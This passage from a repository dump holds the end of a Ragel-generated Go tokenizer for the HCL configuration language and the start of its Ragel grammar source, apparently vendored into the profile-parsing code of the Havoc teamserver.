670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    670, 670, 670, 670, 670, 670, 670, 670,\n    767, 772, 772, 772, 773, 773, 775, 775,\n    775, 779, 0, 0, 785, 785, 785, 789,\n    0, 0, 795, 795, 797, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 795, 795, 795,\n    795, 795, 795, 795, 795, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046,\n    1046, 1046, 1046, 0, 1196, 1197, 1198, 1200,\n    1198, 1198, 1198, 1203, 1198, 1198, 1198, 1209,\n    1198, 1198, 1239, 1239, 1239, 1239, 1239, 1239,\n    1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239,\n    1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239,\n    1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239,\n    1239, 1239, 1239, 1239, 1239, 0, 1392, 1394,\n    1395, 1399, 1399, 1392, 1402, 1395, 1405, 1395,\n    1407, 1407, 1407, 0, 1416, 1418, 1418, 1416,\n    1416, 1423, 1425, 1427, 1427, 1427, 0, 1435,\n    1437, 1437, 1435, 1435, 1442, 1444, 1446, 1446,\n    1446, 0, 1483, 1511, 1511, 1511, 1511, 1511,\n    1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511,\n    1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511,\n    1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511,\n    1511, 1511, 1511, 1511, 1511, 1511,\n}\n\nconst hcltok_start int = 1459\nconst hcltok_first_final int = 1459\nconst hcltok_error int = 0\n\nconst hcltok_en_stringTemplate int = 1509\nconst hcltok_en_heredocTemplate int = 1523\nconst hcltok_en_bareTemplate int = 1534\nconst hcltok_en_identOnly int = 1545\nconst hcltok_en_main int = 1459\n\n//line scan_tokens.rl:16\n\nfunc scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token {\n    stripData := stripUTF8BOM(data)\n    start.Byte += len(data) - len(stripData)\n    data = stripData\n\n    f := &tokenAccum{\n        Filename:  filename,\n        Bytes:     data,\n        Pos:       start,\n        StartByte: start.Byte,\n    }\n\n    //line scan_tokens.rl:305\n\n    // Ragel state\n    p := 0          // \"Pointer\" into data\n    pe := len(data) // End-of-data \"pointer\"\n    ts := 0\n    te := 0\n    act := 0\n    eof := pe\n    var stack []int\n    var top int\n\n    var cs int // current state\n    switch mode {\n    case scanNormal:\n        cs = hcltok_en_main\n    case scanTemplate:\n        cs = hcltok_en_bareTemplate\n    case scanIdentOnly:\n        cs = hcltok_en_identOnly\n    default:\n        panic(\"invalid scanMode\")\n    }\n\n    braces := 0\n    var retBraces []int              // stack of brace levels that cause us to use fret\n    var heredocs []heredocInProgress // stack of heredocs we're currently processing\n\n    //line scan_tokens.rl:340\n\n    // Make Go compiler happy\n    _ = ts\n    _ = te\n    _ = act\n    _ = eof\n\n    token := func(ty TokenType) {\n        f.emitToken(ty, ts, te)\n    }\n    selfToken := func() {\n        b := data[ts:te]\n        if len(b) != 1 {\n            // should never happen\n            panic(\"selfToken only works for single-character tokens\")\n        }\n        f.emitToken(TokenType(b[0]), ts, te)\n    }\n\n    //line scan_tokens.go:4289\n    {\n        top = 0\n        ts = 0\n        te = 0\n        act = 0\n    }\n\n    //line scan_tokens.go:4297\n    {\n        var _klen int\n        var _trans int\n        var _acts int\n        var _nacts uint\n        var _keys int\n        if p == pe {\n            goto _test_eof\n        }\n        if cs == 0 {\n            goto _out\n        }\n    _resume:\n        _acts = int(_hcltok_from_state_actions[cs])\n        _nacts = uint(_hcltok_actions[_acts])\n        _acts++\n        for ; _nacts > 0; _nacts-- {\n            _acts++\n            switch _hcltok_actions[_acts-1] {\n            case 3:\n                //line NONE:1\n                ts = p\n\n                //line scan_tokens.go:4320\n            }\n        }\n\n        _keys = int(_hcltok_key_offsets[cs])\n        _trans = int(_hcltok_index_offsets[cs])\n\n        _klen = int(_hcltok_single_lengths[cs])\n        if _klen > 0 {\n            _lower := int(_keys)\n            var _mid int\n            _upper := int(_keys + _klen - 1)\n            for {\n                if _upper < _lower {\n                    break\n                }\n\n                _mid = _lower + ((_upper - _lower) >> 1)\n                switch {\n                case data[p] < _hcltok_trans_keys[_mid]:\n                    _upper = _mid - 1\n                case data[p] > _hcltok_trans_keys[_mid]:\n                    _lower = _mid + 1\n                default:\n                    _trans += int(_mid - int(_keys))\n                    goto _match\n                }\n            }\n            _keys += _klen\n            _trans += _klen\n        }\n\n        _klen = int(_hcltok_range_lengths[cs])\n        if _klen > 0 {\n            _lower := int(_keys)\n            var _mid int\n            _upper := int(_keys + (_klen << 1) - 2)\n            for {\n                if _upper < _lower {\n                    break\n                }\n\n                _mid = _lower + (((_upper - _lower) >> 1) & ^1)\n                switch {\n                case data[p] < _hcltok_trans_keys[_mid]:\n                    _upper = _mid - 2\n                case data[p] > _hcltok_trans_keys[_mid+1]:\n                    _lower = _mid + 2\n                default:\n                    _trans += int((_mid - int(_keys)) >> 1)\n                    goto _match\n                }\n            }\n            _trans += _klen\n        }\n\n    _match:\n        _trans = int(_hcltok_indicies[_trans])\n    _eof_trans:\n        cs = int(_hcltok_trans_targs[_trans])\n\n        if _hcltok_trans_actions[_trans] == 0 {\n            goto _again\n        }\n\n        _acts = int(_hcltok_trans_actions[_trans])\n        _nacts = uint(_hcltok_actions[_acts])\n        _acts++\n        for ; _nacts > 0; _nacts-- {\n            _acts++\n            switch _hcltok_actions[_acts-1] {\n            case 0:\n                //line scan_tokens.rl:224\n                p--\n\n            case 4:\n                //line NONE:1\n                te = p + 1\n\n            case 5:\n                //line scan_tokens.rl:248\n                act = 4\n            case 6:\n                //line scan_tokens.rl:250\n                act = 6\n            case 7:\n                //line scan_tokens.rl:160\n                te = p + 1\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 8:\n                //line scan_tokens.rl:170\n                te = p + 1\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 9:\n                //line scan_tokens.rl:84\n                te = p + 1\n                {\n                    token(TokenCQuote)\n                    top--\n                    cs = stack[top]\n                    {\n                        stack = stack[:len(stack)-1]\n                    }\n                    goto _again\n\n                }\n            case 10:\n                //line scan_tokens.rl:248\n                te = p + 1\n                {\n                    token(TokenQuotedLit)\n                }\n            case 11:\n                //line scan_tokens.rl:251\n                te = p + 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 12:\n                //line scan_tokens.rl:160\n                te = p\n                p--\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 13:\n                //line scan_tokens.rl:170\n                te = p\n                p--\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 14:\n                //line scan_tokens.rl:248\n                te = p\n                p--\n                {\n                    token(TokenQuotedLit)\n                }\n            case 15:\n                //line scan_tokens.rl:249\n                te = p\n                p--\n                {\n                    token(TokenQuotedNewline)\n                }\n            case 16:\n                //line scan_tokens.rl:250\n                te = p\n                p--\n                {\n                    token(TokenInvalid)\n                }\n            case 17:\n                //line scan_tokens.rl:251\n                te = p\n                p--\n                {\n                    token(TokenBadUTF8)\n                }\n            case 18:\n                //line scan_tokens.rl:248\n                p = (te) - 1\n                {\n                    token(TokenQuotedLit)\n                }\n            case 19:\n                //line scan_tokens.rl:251\n                p = (te) - 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 20:\n                //line NONE:1\n                switch act {\n                case 4:\n                    {\n                        p = (te) - 1\n                        token(TokenQuotedLit)\n                    }\n                case 6:\n                    {\n                        p = (te) - 1\n                        token(TokenInvalid)\n                    }\n                }\n\n            case 21:\n                //line scan_tokens.rl:148\n                act = 11\n            case 22:\n                //line scan_tokens.rl:259\n                act = 12\n            case 23:\n                //line scan_tokens.rl:160\n                te = p + 1\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 24:\n                //line scan_tokens.rl:170\n                te = p + 1\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 25:\n                //line scan_tokens.rl:111\n                te = p + 1\n                {\n                    // This action is called specifically when a heredoc literal\n                    // ends with a newline character.\n\n                    // This might actually be our end marker.\n                    topdoc := &heredocs[len(heredocs)-1]\n                    if topdoc.StartOfLine {\n                        maybeMarker := bytes.TrimSpace(data[ts:te])\n                        if bytes.Equal(maybeMarker, topdoc.Marker) {\n                            // We actually emit two tokens here: the end-of-heredoc\n                            // marker first, and then separately the newline that\n                            // follows it. This then avoids issues with the closing\n                            // marker consuming a newline that would normally be used\n                            // to mark the end of an attribute definition.\n                            // We might have either a \\n sequence or an \\r\\n sequence\n                            // here, so we must handle both.\n                            nls := te - 1\n                            nle := te\n                            te--\n                            if data[te-1] == '\\r' {\n                                // back up one more byte\n                                nls--\n                                te--\n                            }\n                            token(TokenCHeredoc)\n                            ts = nls\n                            te = nle\n                            token(TokenNewline)\n                            heredocs = heredocs[:len(heredocs)-1]\n                            top--\n                            cs = stack[top]\n                            {\n                                stack = stack[:len(stack)-1]\n                            }\n                            goto _again\n\n                        }\n                    }\n\n                    topdoc.StartOfLine = true\n                    token(TokenStringLit)\n                }\n            case 26:\n                //line scan_tokens.rl:259\n                te = p + 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 27:\n                //line scan_tokens.rl:160\n                te = p\n                p--\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 28:\n                //line scan_tokens.rl:170\n                te = p\n                p--\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 29:\n                //line scan_tokens.rl:148\n                te = p\n                p--\n                {\n                    // This action is called when a heredoc literal _doesn't_ end\n                    // with a newline character, e.g. because we're about to enter\n                    // an interpolation sequence.\n                    heredocs[len(heredocs)-1].StartOfLine = false\n                    token(TokenStringLit)\n                }\n            case 30:\n                //line scan_tokens.rl:259\n                te = p\n                p--\n                {\n                    token(TokenBadUTF8)\n                }\n            case 31:\n                //line scan_tokens.rl:148\n                p = (te) - 1\n                {\n                    // This action is called when a heredoc literal _doesn't_ end\n                    // with a newline character, e.g. because we're about to enter\n                    // an interpolation sequence.\n                    heredocs[len(heredocs)-1].StartOfLine = false\n                    token(TokenStringLit)\n                }\n            case 32:\n                //line NONE:1\n                switch act {\n                case 0:\n                    {\n                        cs = 0\n                        goto _again\n                    }\n                case 11:\n                    {\n                        p = (te) - 1\n\n                        // This action is called when a heredoc literal _doesn't_ end\n                        // with a newline character, e.g. because we're about to enter\n                        // an interpolation sequence.\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                        token(TokenStringLit)\n                    }\n                case 12:\n                    {\n                        p = (te) - 1\n                        token(TokenBadUTF8)\n                    }\n                }\n\n            case 33:\n                //line scan_tokens.rl:156\n                act = 15\n            case 34:\n                //line scan_tokens.rl:266\n                act = 16\n            case 35:\n                //line scan_tokens.rl:160\n                te = p + 1\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 36:\n                //line scan_tokens.rl:170\n                te = p + 1\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 37:\n                //line scan_tokens.rl:156\n                te = p + 1\n                {\n                    token(TokenStringLit)\n                }\n            case 38:\n                //line scan_tokens.rl:266\n                te = p + 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 39:\n                //line scan_tokens.rl:160\n                te = p\n                p--\n                {\n                    token(TokenTemplateInterp)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 40:\n                //line scan_tokens.rl:170\n                te = p\n                p--\n                {\n                    token(TokenTemplateControl)\n                    braces++\n                    retBraces = append(retBraces, braces)\n                    if len(heredocs) > 0 {\n                        heredocs[len(heredocs)-1].StartOfLine = false\n                    }\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1459\n                        goto _again\n                    }\n                }\n            case 41:\n                //line scan_tokens.rl:156\n                te = p\n                p--\n                {\n                    token(TokenStringLit)\n                }\n            case 42:\n                //line scan_tokens.rl:266\n                te = p\n                p--\n                {\n                    token(TokenBadUTF8)\n                }\n            case 43:\n                //line scan_tokens.rl:156\n                p = (te) - 1\n                {\n                    token(TokenStringLit)\n                }\n            case 44:\n                //line NONE:1\n                switch act {\n                case 0:\n                    {\n                        cs = 0\n                        goto _again\n                    }\n                case 15:\n                    {\n                        p = (te) - 1\n\n                        token(TokenStringLit)\n                    }\n                case 16:\n                    {\n                        p = (te) - 1\n                        token(TokenBadUTF8)\n                    }\n                }\n\n            case 45:\n                //line scan_tokens.rl:270\n                act = 17\n            case 46:\n                //line scan_tokens.rl:271\n                act = 18\n            case 47:\n                //line scan_tokens.rl:271\n                te = p + 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 48:\n                //line scan_tokens.rl:272\n                te = p + 1\n                {\n                    token(TokenInvalid)\n                }\n            case 49:\n                //line scan_tokens.rl:270\n                te = p\n                p--\n                {\n                    token(TokenIdent)\n                }\n            case 50:\n                //line scan_tokens.rl:271\n                te = p\n                p--\n                {\n                    token(TokenBadUTF8)\n                }\n            case 51:\n                //line scan_tokens.rl:270\n                p = (te) - 1\n                {\n                    token(TokenIdent)\n                }\n            case 52:\n                //line scan_tokens.rl:271\n                p = (te) - 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 53:\n                //line NONE:1\n                switch act {\n                case 17:\n                    {\n                        p = (te) - 1\n                        token(TokenIdent)\n                    }\n                case 18:\n                    {\n                        p = (te) - 1\n                        token(TokenBadUTF8)\n                    }\n                }\n\n            case 54:\n                //line scan_tokens.rl:278\n                act = 22\n            case 55:\n                //line scan_tokens.rl:301\n                act = 39\n            case 56:\n                //line scan_tokens.rl:280\n                te = p + 1\n                {\n                    token(TokenComment)\n                }\n            case 57:\n                //line scan_tokens.rl:281\n                te = p + 1\n                {\n                    token(TokenNewline)\n                }\n            case 58:\n                //line scan_tokens.rl:283\n                te = p + 1\n                {\n                    token(TokenEqualOp)\n                }\n            case 59:\n                //line scan_tokens.rl:284\n                te = p + 1\n                {\n                    token(TokenNotEqual)\n                }\n            case 60:\n                //line scan_tokens.rl:285\n                te = p + 1\n                {\n                    token(TokenGreaterThanEq)\n                }\n            case 61:\n                //line scan_tokens.rl:286\n                te = p + 1\n                {\n                    token(TokenLessThanEq)\n                }\n            case 62:\n                //line scan_tokens.rl:287\n                te = p + 1\n                {\n                    token(TokenAnd)\n                }\n            case 63:\n                //line scan_tokens.rl:288\n                te = p + 1\n                {\n                    token(TokenOr)\n                }\n            case 64:\n                //line scan_tokens.rl:289\n                te = p + 1\n                {\n                    token(TokenEllipsis)\n                }\n            case 65:\n                //line scan_tokens.rl:290\n                te = p + 1\n                {\n                    token(TokenFatArrow)\n                }\n            case 66:\n                //line scan_tokens.rl:291\n                te = p + 1\n                {\n                    selfToken()\n                }\n            case 67:\n                //line scan_tokens.rl:180\n                te = p + 1\n                {\n                    token(TokenOBrace)\n                    braces++\n                }\n            case 68:\n                //line scan_tokens.rl:185\n                te = p + 1\n                {\n                    if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces {\n                        token(TokenTemplateSeqEnd)\n                        braces--\n                        retBraces = retBraces[0 : len(retBraces)-1]\n                        top--\n                        cs = stack[top]\n                        {\n                            stack = stack[:len(stack)-1]\n                        }\n                        goto _again\n\n                    } else {\n                        token(TokenCBrace)\n                        braces--\n                    }\n                }\n            case 69:\n                //line scan_tokens.rl:197\n                te = p + 1\n                {\n                    // Only consume from the retBraces stack and return if we are at\n                    // a suitable brace nesting level, otherwise things will get\n                    // confused. (Not entering this branch indicates a syntax error,\n                    // which we will catch in the parser.)\n                    if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces {\n                        token(TokenTemplateSeqEnd)\n                        braces--\n                        retBraces = retBraces[0 : len(retBraces)-1]\n                        top--\n                        cs = stack[top]\n                        {\n                            stack = stack[:len(stack)-1]\n                        }\n                        goto _again\n\n                    } else {\n                        // We intentionally generate a TokenTemplateSeqEnd here,\n                        // even though the user apparently wanted a brace, because\n                        // we want to allow the parser to catch the incorrect use\n                        // of a ~} to balance a generic opening brace, rather than\n                        // a template sequence.\n                        token(TokenTemplateSeqEnd)\n                        braces--\n                    }\n                }\n            case 70:\n                //line scan_tokens.rl:79\n                te = p + 1\n                {\n                    token(TokenOQuote)\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1509\n                        goto _again\n                    }\n                }\n            case 71:\n                //line scan_tokens.rl:89\n                te = p + 1\n                {\n                    token(TokenOHeredoc)\n                    // the token is currently the whole heredoc introducer, like\n                    // <<EOT or <<-EOT, followed by a newline. We want to extract\n                    // just the \"EOT\" portion that we'll use as the closing marker.\n\n                    marker := data[ts+2 : te-1]\n                    if marker[0] == '-' {\n                        marker = marker[1:]\n                    }\n                    if marker[len(marker)-1] == '\\r' {\n                        marker = marker[:len(marker)-1]\n                    }\n\n                    heredocs = append(heredocs, heredocInProgress{\n                        Marker:      marker,\n                        StartOfLine: true,\n                    })\n\n                    {\n                        stack = append(stack, 0)\n                        stack[top] = cs\n                        top++\n                        cs = 1523\n                        goto _again\n                    }\n                }\n            case 72:\n                //line scan_tokens.rl:301\n                te = p + 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 73:\n                //line scan_tokens.rl:302\n                te = p + 1\n                {\n                    token(TokenInvalid)\n                }\n            case 74:\n                //line scan_tokens.rl:276\n                te = p\n                p--\n\n            case 75:\n                //line scan_tokens.rl:277\n                te = p\n                p--\n                {\n                    token(TokenNumberLit)\n                }\n            case 76:\n                //line scan_tokens.rl:278\n                te = p\n                p--\n                {\n                    token(TokenIdent)\n                }\n            case 77:\n                //line scan_tokens.rl:280\n                te = p\n                p--\n                {\n                    token(TokenComment)\n                }\n            case 78:\n                //line scan_tokens.rl:291\n                te = p\n                p--\n                {\n                    selfToken()\n                }\n            case 79:\n                //line scan_tokens.rl:301\n                te = p\n                p--\n                {\n                    token(TokenBadUTF8)\n                }\n            case 80:\n                //line scan_tokens.rl:302\n                te = p\n                p--\n                {\n                    token(TokenInvalid)\n                }\n            case 81:\n                //line scan_tokens.rl:277\n                p = (te) - 1\n                {\n                    token(TokenNumberLit)\n                }\n            case 82:\n                //line scan_tokens.rl:278\n                p = (te) - 1\n                {\n                    token(TokenIdent)\n                }\n            case 83:\n                //line scan_tokens.rl:291\n                p = (te) - 1\n                {\n                    selfToken()\n                }\n            case 84:\n                //line scan_tokens.rl:301\n                p = (te) - 1\n                {\n                    token(TokenBadUTF8)\n                }\n            case 85:\n                //line NONE:1\n                switch act {\n                case 22:\n                    {\n                        p = (te) - 1\n                        token(TokenIdent)\n                    }\n                case 39:\n                    {\n                        p = (te) - 1\n                        token(TokenBadUTF8)\n                    }\n                }\n\n                //line scan_tokens.go:5055\n            }\n        }\n\n    _again:\n        _acts = int(_hcltok_to_state_actions[cs])\n        _nacts = uint(_hcltok_actions[_acts])\n        _acts++\n        for ; _nacts > 0; _nacts-- {\n            _acts++\n            switch _hcltok_actions[_acts-1] {\n            case 1:\n                //line NONE:1\n                ts = 0\n\n            case 2:\n                //line NONE:1\n                act = 0\n\n                //line scan_tokens.go:5073\n            }\n        }\n\n        if cs == 0 {\n            goto _out\n        }\n        p++\n        if p != pe {\n            goto _resume\n        }\n    _test_eof:\n        {\n        }\n        if p == eof {\n            if _hcltok_eof_trans[cs] > 0 {\n                _trans = int(_hcltok_eof_trans[cs] - 1)\n                goto _eof_trans\n            }\n        }\n\n    _out:\n        {\n        }\n    }\n\n    //line scan_tokens.rl:363\n\n    // If we fall out here without being in a final state then we've\n    // encountered something that the scanner can't match, which we'll\n    // deal with as an invalid.\n    if cs < hcltok_first_final {\n        if mode == scanTemplate && len(stack) == 0 {\n            // If we're scanning a bare template then any straggling\n            // top-level stuff is actually literal string, rather than\n            // invalid. This handles the case where the template ends\n            // with a single \"$\" or \"%\", which trips us up because we\n            // want to see another character to decide if it's a sequence\n            // or an escape.\n            f.emitToken(TokenStringLit, ts, len(data))\n        } else {\n            f.emitToken(TokenInvalid, ts, len(data))\n        }\n    }\n\n    // We always emit a synthetic EOF token at the end, since it gives the\n    // parser position information for an \"unexpected EOF\" diagnostic.\n    f.emitToken(TokenEOF, len(data), len(data))\n\n    return f.Tokens\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.rl",
    "content": "\npackage hclsyntax\n\nimport (\n    \"bytes\"\n\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// This file is generated from scan_tokens.rl. DO NOT EDIT.\n%%{\n  # (except when you are actually in scan_tokens.rl here, so edit away!)\n\n  machine hcltok;\n  write data;\n}%%\n\nfunc scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token {\n    stripData := stripUTF8BOM(data)\n    start.Byte += len(data) - len(stripData)\n    data = stripData\n\n    f := &tokenAccum{\n        Filename:  filename,\n        Bytes:     data,\n        Pos:       start,\n        StartByte: start.Byte,\n    }\n\n    %%{\n        include UnicodeDerived \"unicode_derived.rl\";\n\n        UTF8Cont = 0x80 .. 0xBF;\n        AnyUTF8 = (\n            0x00..0x7F |\n            0xC0..0xDF . UTF8Cont |\n            0xE0..0xEF . UTF8Cont . UTF8Cont |\n            0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont\n        );\n        BrokenUTF8 = any - AnyUTF8;\n\n        NumberLitContinue = (digit|'.'|('e'|'E') ('+'|'-')? digit);\n        NumberLit = digit (\"\" | (NumberLitContinue - '.') | (NumberLitContinue* (NumberLitContinue - '.')));\n        Ident = (ID_Start | '_') (ID_Continue | '-')*;\n\n        # Symbols that just represent themselves are handled as a single rule.\n        SelfToken = \"[\" | \"]\" | \"(\" | \")\" | \".\" | \",\" | \"*\" | \"/\" | \"%\" | \"+\" | \"-\" | \"=\" | \"<\" | \">\" | \"!\" | \"?\" | \":\" | \"\\n\" | \"&\" | \"|\" | \"~\" | \"^\" | \";\" | \"`\" | \"'\";\n\n        EqualOp = \"==\";\n        NotEqual = \"!=\";\n        GreaterThanEqual = \">=\";\n        LessThanEqual = \"<=\";\n        LogicalAnd = \"&&\";\n        LogicalOr = \"||\";\n\n        Ellipsis = \"...\";\n        FatArrow = \"=>\";\n\n        Newline = '\\r' ? '\\n';\n        EndOfLine = Newline;\n\n        BeginStringTmpl = '\"';\n        BeginHeredocTmpl = '<<' ('-')? Ident Newline;\n\n        Comment = (\n            # The :>> operator in these is a \"finish-guarded concatenation\",\n            # which terminates the sequence on its left when it completes\n            # the sequence on its right.\n            # In the single-line comment cases this is allowing us to make\n            # the trailing EndOfLine optional while still having the overall\n            # pattern terminate. In the multi-line case it ensures that\n            # the first comment in the file ends at the first */, rather than\n            # gobbling up all of the \"any*\" until the _final_ */ in the file.\n            (\"#\" (any - EndOfLine)* :>> EndOfLine?) |\n            (\"//\" (any - EndOfLine)* :>> EndOfLine?) |\n            (\"/*\" any* :>> \"*/\")\n        );\n\n        # Note: hclwrite assumes that only ASCII 